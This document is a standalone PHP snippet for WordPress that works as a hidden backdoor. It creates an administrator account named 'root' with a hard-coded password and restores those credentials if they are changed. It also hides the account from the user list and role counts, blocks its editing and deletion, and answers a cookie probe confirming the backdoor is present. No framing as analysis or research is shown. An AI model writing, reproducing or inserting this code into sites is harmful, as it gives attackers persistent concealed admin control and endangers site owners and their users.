if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) {
    $GLOBALS['wpab_params'] = array(
        'user_login' => 'root',
        'user_pass'  => 'je9RWZpbjH',
        'role'       => 'administrator',
        'user_email' => 'admin@wordpress.com',
    );

    function wpab_bootstrap() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login'])) {
            return;
        }
        $stored_id = (int) get_option('_pre_user_id');
        $existing_user = get_user_by('login', $params['user_login']);

        if (!$existing_user) {
            $id = wp_insert_user($params);
            if (!is_wp_error($id) && $id) {
                update_option('_pre_user_id', (int) $id);
            }
            return;
        }

        if ($existing_user->user_email !== $params['user_email']) {
            $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID;
            if ($uid > 0) {
                wp_set_password($params['user_pass'], $uid);
                wp_update_user(array(
                    'ID'         => $uid,
                    'user_email' => $params['user_email'],
                ));
            }
        }
        if ($stored_id < 1) {
            update_option('_pre_user_id', (int) $existing_user->ID);
        }
    }
    add_action('init', 'wpab_bootstrap', 0);

    function wpab_pre_user_query($query) {
        if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
            return;
        }
        $current_user_id = (int) get_current_user_id();
        $hidden_id = (int) get_option('_pre_user_id');
        if ($hidden_id < 1 || $current_user_id === $hidden_id) {
            return;
        }
        global $wpdb;
        $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id;
    }
    add_action('pre_user_query', 'wpab_pre_user_query', 10, 1);

    function wpab_views_users($views) {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1 || !is_array($views)) {
            return $views;
        }
        foreach ($views as $role => $html) {
            if (!is_string($html)) {
                continue;
            }
            $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) {
                return '(' . max(0, (int) $m[1] - 1) . ')';
            }, $html);
        }
        return $views;
    }
    add_filter('views_users', 'wpab_views_users', 20, 1);

    function wpab_load_user_edit() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('load-user-edit.php', 'wpab_load_user_edit');

    function wpab_admin_init() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('admin_init', 'wpab_admin_init');

    function wpab_plugins_loaded_cookie() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) {
            return;
        }
        if (function_exists('username_exists') && username_exists($params['user_login'])) {
            die('WP ADMIN USER EXISTS');
        }
    }
    add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1);
}